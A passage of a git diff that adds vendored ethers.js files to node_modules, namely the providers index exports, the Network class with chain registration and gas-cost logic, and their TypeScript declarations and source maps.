@_section: api/providers:Providers [about-providers] + */ +export { AbstractProvider, UnmanagedSubscriber } from "./abstract-provider.js"; +export { AbstractSigner, VoidSigner, } from "./abstract-signer.js"; +export { showThrottleMessage } from "./community.js"; +export { getDefaultProvider } from "./default-provider.js"; +export { EnsResolver, MulticoinProviderPlugin } from "./ens-resolver.js"; +export { Network } from "./network.js"; +export { NonceManager } from "./signer-noncemanager.js"; +export { NetworkPlugin, GasCostPlugin, EnsPlugin, FeeDataNetworkPlugin, FetchUrlFeeDataNetworkPlugin, } from "./plugins-network.js"; +export { Block, FeeData, Log, TransactionReceipt, TransactionResponse, copyRequest, } from "./provider.js"; +export { FallbackProvider } from "./provider-fallback.js"; +export { JsonRpcApiProvider, JsonRpcProvider, JsonRpcSigner } from "./provider-jsonrpc.js"; +export { BrowserProvider } from "./provider-browser.js"; +export { AlchemyProvider } from "./provider-alchemy.js"; +export { BlockscoutProvider } from "./provider-blockscout.js"; +export { AnkrProvider } from "./provider-ankr.js"; +export { CloudflareProvider } from "./provider-cloudflare.js"; +export { ChainstackProvider } from "./provider-chainstack.js"; +export { EtherscanProvider, EtherscanPlugin } from "./provider-etherscan.js"; +export { InfuraProvider, InfuraWebSocketProvider } from "./provider-infura.js"; +export { PocketProvider } from "./provider-pocket.js"; +export { QuickNodeProvider } from "./provider-quicknode.js"; +import { IpcSocketProvider } from "./provider-ipcsocket.js"; +export { IpcSocketProvider }; +export { SocketProvider } from "./provider-socket.js"; +export { WebSocketProvider } from "./provider-websocket.js"; +export { SocketSubscriber, SocketBlockSubscriber, SocketPendingSubscriber, SocketEventSubscriber } from "./provider-socket.js"; +export type { AbstractProviderOptions, Subscription, Subscriber, AbstractProviderPlugin, PerformActionFilter, PerformActionTransaction, PerformActionRequest, } from "./abstract-provider.js"; +export type { ContractRunner } from "./contracts.js"; +export type { BlockParams, LogParams, TransactionReceiptParams, TransactionResponseParams, } from "./formatting.js"; +export type { CommunityResourcable } from "./community.js"; +export type { Networkish } from "./network.js"; +export type { GasCostParameters } from "./plugins-network.js"; +export type { BlockTag, TransactionRequest, PreparedTransactionRequest, EventFilter, Filter, FilterByBlockHash, OrphanFilter, ProviderEvent, TopicFilter, Provider, MinedBlock, MinedTransactionResponse } from "./provider.js"; +export type { BrowserDiscoverOptions, BrowserProviderOptions, DebugEventBrowserProvider, Eip1193Provider, Eip6963ProviderInfo } from "./provider-browser.js"; +export type { FallbackProviderOptions } from "./provider-fallback.js"; +export type { JsonRpcPayload, JsonRpcResult, JsonRpcError, JsonRpcApiProviderOptions, JsonRpcTransactionRequest, } from "./provider-jsonrpc.js"; +export type { WebSocketCreator, WebSocketLike } from "./provider-websocket.js"; +export type { Signer } from "./signer.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/index.d.ts.map b/node_modules/ethers/lib.commonjs/providers/index.d.ts.map new file mode 100644 index 000000000000..2d26abd94918 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/index.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src.ts/providers/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;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B,MAAM,uBAAuB,CAAC;AAE/B,YAAY,EACR,gBAAgB,EAAE,aAAa,EAClC,MAAM,yBAAyB,CAAC;AAEjC,YAAY,EAAE,MAAM,EAAE,MAAM,aAAa,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/index.js b/node_modules/ethers/lib.commonjs/providers/index.js new file mode 100644 index 000000000000..39d24f62c402 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/index.js @@ -0,0 +1,84 @@ +"use strict"; +/** + * A **Provider** provides a connection to the blockchain, whch can be + * used to query its current state, simulate execution and send transactions + * to update the state. + * + * It is one of the most fundamental components of interacting with a + * blockchain application, and there are many ways to connect, such as over + * HTTP, WebSockets or injected providers such as [MetaMask](link-metamask). + * + * @_section: api/providers:Providers [about-providers] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.SocketEventSubscriber = exports.SocketPendingSubscriber = exports.SocketBlockSubscriber = exports.SocketSubscriber = exports.WebSocketProvider = exports.SocketProvider = exports.IpcSocketProvider = exports.QuickNodeProvider = exports.PocketProvider = exports.InfuraWebSocketProvider = exports.InfuraProvider = exports.EtherscanPlugin = exports.EtherscanProvider = exports.ChainstackProvider = exports.CloudflareProvider = exports.AnkrProvider = exports.BlockscoutProvider = exports.AlchemyProvider = exports.BrowserProvider = exports.JsonRpcSigner = exports.JsonRpcProvider = exports.JsonRpcApiProvider = exports.FallbackProvider = exports.copyRequest = exports.TransactionResponse = exports.TransactionReceipt = exports.Log = exports.FeeData = exports.Block = exports.FetchUrlFeeDataNetworkPlugin = exports.FeeDataNetworkPlugin = exports.EnsPlugin = exports.GasCostPlugin = exports.NetworkPlugin = exports.NonceManager = exports.Network = exports.MulticoinProviderPlugin = exports.EnsResolver = exports.getDefaultProvider = exports.showThrottleMessage = exports.VoidSigner = exports.AbstractSigner = exports.UnmanagedSubscriber = exports.AbstractProvider = void 0; +var abstract_provider_js_1 = require("./abstract-provider.js"); +Object.defineProperty(exports, "AbstractProvider", { enumerable: true, get: function () { return abstract_provider_js_1.AbstractProvider; } }); +Object.defineProperty(exports, "UnmanagedSubscriber", { enumerable: true, get: function () { return abstract_provider_js_1.UnmanagedSubscriber; } }); +var abstract_signer_js_1 = require("./abstract-signer.js"); +Object.defineProperty(exports, "AbstractSigner", { enumerable: true, get: function () { return abstract_signer_js_1.AbstractSigner; } }); +Object.defineProperty(exports, "VoidSigner", { enumerable: true, get: function () { return abstract_signer_js_1.VoidSigner; } }); +var community_js_1 = require("./community.js"); +Object.defineProperty(exports, "showThrottleMessage", { enumerable: true, get: function () { return community_js_1.showThrottleMessage; } }); +var default_provider_js_1 = require("./default-provider.js"); +Object.defineProperty(exports, "getDefaultProvider", { enumerable: true, get: function () { return default_provider_js_1.getDefaultProvider; } }); +var ens_resolver_js_1 = require("./ens-resolver.js"); +Object.defineProperty(exports, "EnsResolver", { enumerable: true, get: function () { return ens_resolver_js_1.EnsResolver; } }); +Object.defineProperty(exports, "MulticoinProviderPlugin", { enumerable: true, get: function () { return ens_resolver_js_1.MulticoinProviderPlugin; } }); +var network_js_1 = require("./network.js"); +Object.defineProperty(exports, "Network", { enumerable: true, get: function () { return network_js_1.Network; } }); +var signer_noncemanager_js_1 = require("./signer-noncemanager.js"); +Object.defineProperty(exports, "NonceManager", { enumerable: true, get: function () { return signer_noncemanager_js_1.NonceManager; } }); +var plugins_network_js_1 = require("./plugins-network.js"); +Object.defineProperty(exports, "NetworkPlugin", { enumerable: true, get: function () { return plugins_network_js_1.NetworkPlugin; } }); +Object.defineProperty(exports, "GasCostPlugin", { enumerable: true, get: function () { return plugins_network_js_1.GasCostPlugin; } }); +Object.defineProperty(exports, "EnsPlugin", { enumerable: true, get: function () { return plugins_network_js_1.EnsPlugin; } }); +Object.defineProperty(exports, "FeeDataNetworkPlugin", { enumerable: true, get: function () { return plugins_network_js_1.FeeDataNetworkPlugin; } }); +Object.defineProperty(exports, "FetchUrlFeeDataNetworkPlugin", { enumerable: true, get: function () { return plugins_network_js_1.FetchUrlFeeDataNetworkPlugin; } }); +var provider_js_1 = require("./provider.js"); +Object.defineProperty(exports, "Block", { enumerable: true, get: function () { return provider_js_1.Block; } }); +Object.defineProperty(exports, "FeeData", { enumerable: true, get: function () { return provider_js_1.FeeData; } }); +Object.defineProperty(exports, "Log", { enumerable: true, get: function () { return provider_js_1.Log; } }); +Object.defineProperty(exports, "TransactionReceipt", { enumerable: true, get: function () { return provider_js_1.TransactionReceipt; } }); +Object.defineProperty(exports, "TransactionResponse", { enumerable: true, get: function () { return provider_js_1.TransactionResponse; } }); +Object.defineProperty(exports, "copyRequest", { enumerable: true, get: function () { return provider_js_1.copyRequest; } }); +var provider_fallback_js_1 = require("./provider-fallback.js"); +Object.defineProperty(exports, "FallbackProvider", { enumerable: true, get: function () { return provider_fallback_js_1.FallbackProvider; } }); +var provider_jsonrpc_js_1 = require("./provider-jsonrpc.js"); +Object.defineProperty(exports, "JsonRpcApiProvider", { enumerable: true, get: function () { return provider_jsonrpc_js_1.JsonRpcApiProvider; } }); +Object.defineProperty(exports, "JsonRpcProvider", { enumerable: true, get: function () { return provider_jsonrpc_js_1.JsonRpcProvider; } }); +Object.defineProperty(exports, "JsonRpcSigner", { enumerable: true, get: function () { return provider_jsonrpc_js_1.JsonRpcSigner; } }); +var provider_browser_js_1 = require("./provider-browser.js"); +Object.defineProperty(exports, "BrowserProvider", { enumerable: true, get: function () { return provider_browser_js_1.BrowserProvider; } }); +var provider_alchemy_js_1 = require("./provider-alchemy.js"); +Object.defineProperty(exports, "AlchemyProvider", { enumerable: true, get: function () { return provider_alchemy_js_1.AlchemyProvider; } }); +var provider_blockscout_js_1 = require("./provider-blockscout.js"); +Object.defineProperty(exports, "BlockscoutProvider", { enumerable: true, get: function () { return provider_blockscout_js_1.BlockscoutProvider; } }); +var provider_ankr_js_1 = require("./provider-ankr.js"); +Object.defineProperty(exports, "AnkrProvider", { enumerable: true, get: function () { return provider_ankr_js_1.AnkrProvider; } }); +var provider_cloudflare_js_1 = require("./provider-cloudflare.js"); +Object.defineProperty(exports, "CloudflareProvider", { enumerable: true, get: function () { return provider_cloudflare_js_1.CloudflareProvider; } }); +var provider_chainstack_js_1 = require("./provider-chainstack.js"); +Object.defineProperty(exports, "ChainstackProvider", { enumerable: true, get: function () { return provider_chainstack_js_1.ChainstackProvider; } }); +var provider_etherscan_js_1 = require("./provider-etherscan.js"); +Object.defineProperty(exports, "EtherscanProvider", { enumerable: true, get: function () { return provider_etherscan_js_1.EtherscanProvider; } }); +Object.defineProperty(exports, "EtherscanPlugin", { enumerable: true, get: function () { return provider_etherscan_js_1.EtherscanPlugin; } }); +var provider_infura_js_1 = require("./provider-infura.js"); +Object.defineProperty(exports, "InfuraProvider", { enumerable: true, get: function () { return provider_infura_js_1.InfuraProvider; } }); +Object.defineProperty(exports, "InfuraWebSocketProvider", { enumerable: true, get: function () { return provider_infura_js_1.InfuraWebSocketProvider; } }); +var provider_pocket_js_1 = require("./provider-pocket.js"); +Object.defineProperty(exports, "PocketProvider", { enumerable: true, get: function () { return provider_pocket_js_1.PocketProvider; } }); +var provider_quicknode_js_1 = require("./provider-quicknode.js"); +Object.defineProperty(exports, "QuickNodeProvider", { enumerable: true, get: function () { return provider_quicknode_js_1.QuickNodeProvider; } }); +const provider_ipcsocket_js_1 = require("./provider-ipcsocket.js"); /*-browser*/ +Object.defineProperty(exports, "IpcSocketProvider", { enumerable: true, get: function () { return provider_ipcsocket_js_1.IpcSocketProvider; } }); +var provider_socket_js_1 = require("./provider-socket.js"); +Object.defineProperty(exports, "SocketProvider", { enumerable: true, get: function () { return provider_socket_js_1.SocketProvider; } }); +var provider_websocket_js_1 = require("./provider-websocket.js"); +Object.defineProperty(exports, "WebSocketProvider", { enumerable: true, get: function () { return provider_websocket_js_1.WebSocketProvider; } }); +var provider_socket_js_2 = require("./provider-socket.js"); +Object.defineProperty(exports, "SocketSubscriber", { enumerable: true, get: function () { return provider_socket_js_2.SocketSubscriber; } }); +Object.defineProperty(exports, "SocketBlockSubscriber", { enumerable: true, get: function () { return provider_socket_js_2.SocketBlockSubscriber; } }); +Object.defineProperty(exports, "SocketPendingSubscriber", { enumerable: true, get: function () { return provider_socket_js_2.SocketPendingSubscriber; } }); +Object.defineProperty(exports, "SocketEventSubscriber", { enumerable: true, get: function () { return provider_socket_js_2.SocketEventSubscriber; } }); +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/index.js.map b/node_modules/ethers/lib.commonjs/providers/index.js.map new file mode 100644 index 000000000000..4795ace566cd --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/providers/index.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;GAUG;;;AAGH,+DAEgC;AAD5B,wHAAA,gBAAgB,OAAA;AAAE,2HAAA,mBAAmB,OAAA;AAGzC,2DAG8B;AAF1B,oHAAA,cAAc,OAAA;AACd,gHAAA,UAAU,OAAA;AAGd,+CAEwB;AADpB,mHAAA,mBAAmB,OAAA;AAGvB,6DAA2D;AAAlD,yHAAA,kBAAkB,OAAA;AAE3B,qDAG2B;AAFvB,8GAAA,WAAW,OAAA;AACX,0HAAA,uBAAuB,OAAA;AAG3B,2CAAuC;AAA9B,qGAAA,OAAO,OAAA;AAEhB,mEAAwD;AAA/C,sHAAA,YAAY,OAAA;AAErB,2DAM8B;AAL1B,mHAAA,aAAa,OAAA;AACb,mHAAA,aAAa,OAAA;AACb,+GAAA,SAAS,OAAA;AACT,0HAAA,oBAAoB,OAAA;AACpB,kIAAA,4BAA4B,OAAA;AAGhC,6CASuB;AARnB,oGAAA,KAAK,OAAA;AACL,sGAAA,OAAO,OAAA;AACP,kGAAA,GAAG,OAAA;AACH,iHAAA,kBAAkB,OAAA;AAClB,kHAAA,mBAAmB,OAAA;AAEnB,0GAAA,WAAW,OAAA;AAIf,+DAA0D;AAAjD,wHAAA,gBAAgB,OAAA;AACzB,6DAA0F;AAAjF,yHAAA,kBAAkB,OAAA;AAAE,sHAAA,eAAe,OAAA;AAAE,oHAAA,aAAa,OAAA;AAE3D,6DAAwD;AAA/C,sHAAA,eAAe,OAAA;AAExB,6DAAwD;AAA/C,sHAAA,eAAe,OAAA;AACxB,mEAA8D;AAArD,4HAAA,kBAAkB,OAAA;AAC3B,uDAAkD;AAAzC,gHAAA,YAAY,OAAA;AACrB,mEAA8D;AAArD,4HAAA,kBAAkB,OAAA;AAC3B,mEAA8D;AAArD,4HAAA,kBAAkB,OAAA;AAC3B,iEAA6E;AAApE,0HAAA,iBAAiB,OAAA;AAAE,wHAAA,eAAe,OAAA;AAC3C,2DAA+E;AAAtE,oHAAA,cAAc,OAAA;AAAE,6HAAA,uBAAuB,OAAA;AAChD,2DAAsD;AAA7C,oHAAA,cAAc,OAAA;AACvB,iEAA4D;AAAnD,0HAAA,iBAAiB,OAAA;AAE1B,mEAA4D,CAAC,YAAY;AAChE,kGADA,yCAAiB,OACA;AAC1B,2DAAsD;AAA7C,oHAAA,cAAc,OAAA;AACvB,iEAA4D;AAAnD,0HAAA,iBAAiB,OAAA;AAE1B,2DAG8B;AAF1B,sHAAA,gBAAgB,OAAA;AAAE,2HAAA,qBAAqB,OAAA;AAAE,6HAAA,uBAAuB,OAAA;AAChE,2HAAA,qBAAqB,OAAA"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/network.d.ts b/node_modules/ethers/lib.commonjs/providers/network.d.ts new file mode 100644 index 000000000000..2355df4423e4 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/network.d.ts @@ -0,0 +1,99 @@ +/** + * A **Network** encapsulates the various properties required to + * interact with a specific chain. + * + * @_subsection: api/providers:Networks [networks] + */ +import type { BigNumberish } from "../utils/index.js"; +import type { TransactionLike } from "../transaction/index.js"; +import type { NetworkPlugin } from "./plugins-network.js"; +/** + * A Networkish can be used to allude to a Network, by specifing: + * - a [[Network]] object + * - a well-known (or registered) network name + * - a well-known (or registered) chain ID + * - an object with sufficient details to describe a network + */ +export type Networkish = Network | number | bigint | string | { + name?: string; + chainId?: number; + ensAddress?: string; + ensNetwork?: number; +}; +/** + * A **Network** provides access to a chain's properties and allows + * for plug-ins to extend functionality. + */ +export declare class Network { + #private; + /** + * Creates a new **Network** for %%name%% and %%chainId%%. + */ + constructor(name: string, chainId: BigNumberish); + /** + * Returns a JSON-compatible representation of a Network. + */ + toJSON(): any; + /** + * The network common name. + * + * This is the canonical name, as networks migh have multiple + * names. + */ + get name(): string; + set name(value: string); + /** + * The network chain ID. + */ + get chainId(): bigint; + set chainId(value: BigNumberish); + /** + * Returns true if %%other%% matches this network. Any chain ID + * must match, and if no chain ID is present, the name must match. + * + * This method does not currently check for additional properties, + * such as ENS address or plug-in compatibility. + */ + matches(other: Networkish): boolean; + /** + * Returns the list of plugins currently attached to this Network. + */ + get plugins(): Array; + /** + * Attach a new %%plugin%% to this Network. The network name + * must be unique, excluding any fragment. + */ + attachPlugin(plugin: NetworkPlugin): this; + /** + * Return the plugin, if any, matching %%name%% exactly. Plugins + * with fragments will not be returned unless %%name%% includes + * a fragment. + */ + getPlugin(name: string): null | T; + /** + * Gets a list of all plugins that match %%name%%, with otr without + * a fragment. + */ + getPlugins(basename: string): Array; + /** + * Create a copy of this Network. + */ + clone(): Network; + /** + * Compute the intrinsic gas required for a transaction. + * + * A GasCostPlugin can be attached to override the default + * values. + */ + computeIntrinsicGas(tx: TransactionLike): number; + /** + * Returns a new Network for the %%network%% name or chainId. + */ + static from(network?: Networkish): Network; + /** + * Register %%nameOrChainId%% with a function which returns + * an instance of a Network representing that chain. + */ + static register(nameOrChainId: string | number | bigint, networkFunc: () => Network): void; +} +//# sourceMappingURL=network.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/network.d.ts.map b/node_modules/ethers/lib.commonjs/providers/network.d.ts.map new file mode 100644 index 000000000000..b849aebb28fa --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/network.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file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GAAG,KAAK,CAAC,CAAC,CAAC;IAI/E;;OAEG;IACH,KAAK,IAAI,OAAO;IAQhB;;;;;OAKG;IACH,mBAAmB,CAAC,EAAE,EAAE,eAAe,GAAG,MAAM;IAyBhD;;OAEG;IACH,MAAM,CAAC,IAAI,CAAC,OAAO,CAAC,EAAE,UAAU,GAAG,OAAO;IA+C1C;;;OAGG;IACH,MAAM,CAAC,QAAQ,CAAC,aAAa,EAAE,MAAM,GAAG,MAAM,GAAG,MAAM,EAAE,WAAW,EAAE,MAAM,OAAO,GAAG,IAAI;CAQ7F"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/network.js b/node_modules/ethers/lib.commonjs/providers/network.js new file mode 100644 index 000000000000..6d598742f1c7 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/network.js @@ -0,0 +1,367 @@ +"use strict"; +/** + * A **Network** encapsulates the various properties required to + * interact with a specific chain. + * + * @_subsection: api/providers:Networks [networks] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.Network = void 0; +const index_js_1 = require("../transaction/index.js"); +const index_js_2 = require("../utils/index.js"); +const plugins_network_js_1 = require("./plugins-network.js"); +/* * * * +// Networks which operation against an L2 can use this plugin to +// specify how to access L1, for the purpose of resolving ENS, +// for example. +export class LayerOneConnectionPlugin extends NetworkPlugin { + readonly provider!: Provider; +// @TODO: Rename to ChainAccess and allow for connecting to any chain + constructor(provider: Provider) { + super("org.ethers.plugins.layer-one-connection"); + defineProperties(this, { provider }); + } + + clone(): LayerOneConnectionPlugin { + return new LayerOneConnectionPlugin(this.provider); + } +} +*/ +const Networks = new Map(); +/** + * A **Network** provides access to a chain's properties and allows + * for plug-ins to extend functionality. + */ +class Network { + #name; + #chainId; + #plugins; + /** + * Creates a new **Network** for %%name%% and %%chainId%%. + */ + constructor(name, chainId) { + this.#name = name; + this.#chainId = (0, index_js_2.getBigInt)(chainId); + this.#plugins = new Map(); + } + /** + * Returns a JSON-compatible representation of a Network. + */ + toJSON() { + return { name: this.name, chainId: String(this.chainId) }; + } + /** + * The network common name. + * + * This is the canonical name, as networks migh have multiple + * names. + */ + get name() { return this.#name; } + set name(value) { this.#name = value; } + /** + * The network chain ID. + */ + get chainId() { return this.#chainId; } + set chainId(value) { this.#chainId = (0, index_js_2.getBigInt)(value, "chainId"); } + /** + * Returns true if %%other%% matches this network. Any chain ID + * must match, and if no chain ID is present, the name must match. + * + * This method does not currently check for additional properties, + * such as ENS address or plug-in compatibility. + */ + matches(other) { + if (other == null) { + return false; + } + if (typeof (other) === "string") { + try { + return (this.chainId === (0, index_js_2.getBigInt)(other)); + } + catch (error) { } + return (this.name === other); + } + if (typeof (other) === "number" || typeof (other) === "bigint") { + try { + return (this.chainId === (0, index_js_2.getBigInt)(other)); + } + catch (error) { } + return false; + } + if (typeof (other) === "object") { + if (other.chainId != null) { + try { + return (this.chainId === (0, index_js_2.getBigInt)(other.chainId)); + } + catch (error) { } + return false; + } + if (other.name != null) { + return (this.name === other.name); + } + return false; + } + return false; + } + /** + * Returns the list of plugins currently attached to this Network. + */ + get plugins() { + return Array.from(this.#plugins.values()); + } + /** + * Attach a new %%plugin%% to this Network. The network name + * must be unique, excluding any fragment. + */ + attachPlugin(plugin) { + if (this.#plugins.get(plugin.name)) { + throw new Error(`cannot replace existing plugin: ${plugin.name} `); + } + this.#plugins.set(plugin.name, plugin.clone()); + return this; + } + /** + * Return the plugin, if any, matching %%name%% exactly. Plugins + * with fragments will not be returned unless %%name%% includes + * a fragment. + */ + getPlugin(name) { + return (this.#plugins.get(name)) || null; + } + /** + * Gets a list of all plugins that match %%name%%, with otr without + * a fragment. + */ + getPlugins(basename) { + return (this.plugins.filter((p) => (p.name.split("#")[0] === basename))); + } + /** + * Create a copy of this Network. + */ + clone() { + const clone = new Network(this.name, this.chainId); + this.plugins.forEach((plugin) => { + clone.attachPlugin(plugin.clone()); + }); + return clone; + } + /** + * Compute the intrinsic gas required for a transaction. + * + * A GasCostPlugin can be attached to override the default + * values. + */ + computeIntrinsicGas(tx) { + const costs = this.getPlugin("org.ethers.plugins.network.GasCost") || (new plugins_network_js_1.GasCostPlugin()); + let gas = costs.txBase; + if (tx.to == null) { + gas += costs.txCreate; + } + if (tx.data) { + for (let i = 2; i < tx.data.length; i += 2) { + if (tx.data.substring(i, i + 2) === "00") { + gas += costs.txDataZero; + } + else { + gas += costs.txDataNonzero; + } + } + } + if (tx.accessList) { + const accessList = (0, index_js_1.accessListify)(tx.accessList); + for (const addr in accessList) { + gas += costs.txAccessListAddress + costs.txAccessListStorageKey * accessList[addr].storageKeys.length; + } + } + return gas; + } + /** + * Returns a new Network for the %%network%% name or chainId. + */ + static from(network) { + injectCommonNetworks(); + // Default network + if (network == null) { + return Network.from("mainnet"); + } + // Canonical name or chain ID + if (typeof (network) === "number") { + network = BigInt(network); + } + if (typeof (network) === "string" || typeof (network) === "bigint") { + const networkFunc = Networks.get(network); + if (networkFunc) { + return networkFunc(); + } + if (typeof (network) === "bigint") { + return new Network("unknown", network); + } + (0, index_js_2.assertArgument)(false, "unknown network", "network", network); + } + // Clonable with network-like abilities + if (typeof (network.clone) === "function") { + const clone = network.clone(); + //if (typeof(network.name) !== "string" || typeof(network.chainId) !== "number") { + //} + return clone; + } + // Networkish + if (typeof (network) === "object") { + (0, index_js_2.assertArgument)(typeof (network.name) === "string" && typeof (network.chainId) === "number", "invalid network object name or chainId", "network", network); + const custom = new Network((network.name), (network.chainId)); + if (network.ensAddress || network.ensNetwork != null) { + custom.attachPlugin(new plugins_network_js_1.EnsPlugin(network.ensAddress, network.ensNetwork)); + } + //if ((network).layerOneConnection) { + // custom.attachPlugin(new LayerOneConnectionPlugin((network).layerOneConnection)); + //} + return custom; + } + (0, index_js_2.assertArgument)(false, "invalid network", "network", network); + } + /** + * Register %%nameOrChainId%% with a function which returns + * an instance of a Network representing that chain. + */ + static register(nameOrChainId, networkFunc) { + if (typeof (nameOrChainId) === "number") { + nameOrChainId = BigInt(nameOrChainId); + } + const existing = Networks.get(nameOrChainId); + if (existing) { + (0, index_js_2.assertArgument)(false, `conflicting network for ${JSON.stringify(existing.name)}`, "nameOrChainId", nameOrChainId); + } + Networks.set(nameOrChainId, networkFunc); + } +} +exports.Network = Network; +// We don't want to bring in formatUnits because it is backed by +// FixedNumber and we want to keep Networks tiny. The values +// included by the Gas Stations are also IEEE 754 with lots of +// rounding issues and exceed the strict checks formatUnits has. +function parseUnits(_value, decimals) { + const value = String(_value); + if (!value.match(/^[0-9.]+$/)) { + throw new Error(`invalid gwei value: ${_value}`); + } + // Break into [ whole, fraction ] + const comps = value.split("."); + if (comps.length === 1) { + comps.push(""); + } + // More than 1 decimal point or too many fractional positions + if (comps.length !== 2) { + throw new Error(`invalid gwei value: ${_value}`); + } + // Pad the fraction to 9 decimalplaces + while (comps[1].length < decimals) { + comps[1] += "0"; + } + // Too many decimals and some non-zero ending, take the ceiling + if (comps[1].length > 9) { + let frac = BigInt(comps[1].substring(0, 9)); + if (!comps[1].substring(9).match(/^0+$/)) { + frac++; + } + comps[1] = frac.toString(); + } + return BigInt(comps[0] + comps[1]); +} +// Used by Polygon to use a gas station for fee data +function getGasStationPlugin(url) { + return new plugins_network_js_1.FetchUrlFeeDataNetworkPlugin(url, async (fetchFeeData, provider, request) => { + // Prevent Cloudflare from blocking our request in node.js + request.setHeader("User-Agent", "ethers"); + let response; + try { + const [_response, _feeData] = await Promise.all([ + request.send(), fetchFeeData() + ]); + response = _response; + const payload = response.bodyJson.standard; + const feeData = { + gasPrice: _feeData.gasPrice, + maxFeePerGas: parseUnits(payload.maxFee, 9), + maxPriorityFeePerGas: parseUnits(payload.maxPriorityFee, 9), + }; + return feeData; + } + catch (error) { + (0, index_js_2.assert)(false, `error encountered with polygon gas station (${JSON.stringify(request.url)})`, "SERVER_ERROR", { request, response, error }); + } + }); +} +// See: https://chainlist.org +let injected = false; +function injectCommonNetworks() { + if (injected) { + return; + } + injected = true; + /// Register popular Ethereum networks + function registerEth(name, chainId, options) { + const func = function () { + const network = new Network(name, chainId); + // We use 0 to disable ENS + if (options.ensNetwork != null) { + network.attachPlugin(new plugins_network_js_1.EnsPlugin(null, options.ensNetwork)); + } + network.attachPlugin(new plugins_network_js_1.GasCostPlugin()); + (options.plugins || []).forEach((plugin) => { + network.attachPlugin(plugin); + }); + return network; + }; + // Register the network by name and chain ID + Network.register(name, func); + Network.register(chainId, func); + if (options.altNames) { + options.altNames.forEach((name) => { + Network.register(name, func); + }); + } + } + registerEth("mainnet", 1, { ensNetwork: 1, altNames: ["homestead"] }); + registerEth("ropsten", 3, { ensNetwork: 3 }); + registerEth("rinkeby", 4, { ensNetwork: 4 }); + registerEth("goerli", 5, { ensNetwork: 5 }); + registerEth("kovan", 42, { ensNetwork: 42 }); + registerEth("sepolia", 11155111, { ensNetwork: 11155111 }); + registerEth("holesky", 17000, { ensNetwork: 17000 }); + registerEth("classic", 61, {}); + registerEth("classicKotti", 6, {}); + registerEth("arbitrum", 42161, { + ensNetwork: 1, + }); + registerEth("arbitrum-goerli", 421613, {}); + registerEth("arbitrum-sepolia", 421614, {}); + registerEth("base", 8453, { ensNetwork: 1 }); + registerEth("base-goerli", 84531, {}); + registerEth("base-sepolia", 84532, {}); + registerEth("bnb", 56, { ensNetwork: 1 }); + registerEth("bnbt", 97, {}); + registerEth("linea", 59144, { ensNetwork: 1 }); + registerEth("linea-goerli", 59140, {}); + registerEth("linea-sepolia", 59141, {}); + registerEth("matic", 137, { + ensNetwork: 1, + plugins: [ + getGasStationPlugin("https:/\/gasstation.polygon.technology/v2") + ] + }); + registerEth("matic-amoy", 80002, {}); + registerEth("matic-mumbai", 80001, { + altNames: ["maticMumbai", "maticmum"], + plugins: [ + getGasStationPlugin("https:/\/gasstation-testnet.polygon.technology/v2") + ] + }); + registerEth("optimism", 10, { + ensNetwork: 1, + plugins: [] + }); + registerEth("optimism-goerli", 420, {}); + registerEth("optimism-sepolia", 11155420, {}); + registerEth("xdai", 100, { ensNetwork: 1 }); +} +//# sourceMappingURL=network.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/network.js.map b/node_modules/ethers/lib.commonjs/providers/network.js.map new file mode 100644 index 000000000000..ede75ce040c8 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/network.js.map @@ -0,0 +1 @@ +{"version":3,"file":"network.js","sourceRoot":"","sources":["../../src.ts/providers/network.ts"],"names":[],"mappings":";AAAA;;;;;GAKG;;;AAEH,sDAAwD;AACxD,gDAAsE;AAEtE,6DAE8B;AA0B9B;;;;;;;;;;;;;;;;EAgBE;AAGF,MAAM,QAAQ,GAAwC,IAAI,GAAG,EAAE,CAAC;AAGhE;;;GAGG;AACH,MAAa,OAAO;IAChB,KAAK,CAAS;IACd,QAAQ,CAAS;IAEjB,QAAQ,CAA6B;IAErC;;OAEG;IACH,YAAY,IAAY,EAAE,OAAqB;QAC3C,IAAI,CAAC,KAAK,GAAG,IAAI,CAAC;QAClB,IAAI,CAAC,QAAQ,GAAG,IAAA,oBAAS,EAAC,OAAO,CAAC,CAAC;QACnC,IAAI,CAAC,QAAQ,GAAG,IAAI,GAAG,EAAE,CAAC;IAC9B,CAAC;IAED;;OAEG;IACH,MAAM;QACF,OAAO,EAAE,IAAI,EAAE,IAAI,CAAC,IAAI,EAAE,OAAO,EAAE,MAAM,CAAC,IAAI,CAAC,OAAO,CAAC,EAAE,CAAC;IAC9D,CAAC;IAED;;;;;OAKG;IACH,IAAI,IAAI,KAAa,OAAO,IAAI,CAAC,KAAK,CAAC,CAAC,CAAC;IACzC,IAAI,IAAI,CAAC,KAAa,IAAI,IAAI,CAAC,KAAK,GAAI,KAAK,CAAC,CAAC,CAAC;IAEhD;;OAEG;IACH,IAAI,OAAO,KAAa,OAAO,IAAI,CAAC,QAAQ,CAAC,CAAC,CAAC;IAC/C,IAAI,OAAO,CAAC,KAAmB,IAAI,IAAI,CAAC,QAAQ,GAAG,IAAA,oBAAS,EAAC,KAAK,EAAE,SAAS,CAAC,CAAC,CAAC,CAAC;IAEjF;;;;;;OAMG;IACH,OAAO,CAAC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,CAAC;IACvC,WAAW,CAAC,cAAc,EAAE,KAAK,EAAE,EAAG,CAAC,CAAC;IAExC,WAAW,CAAC,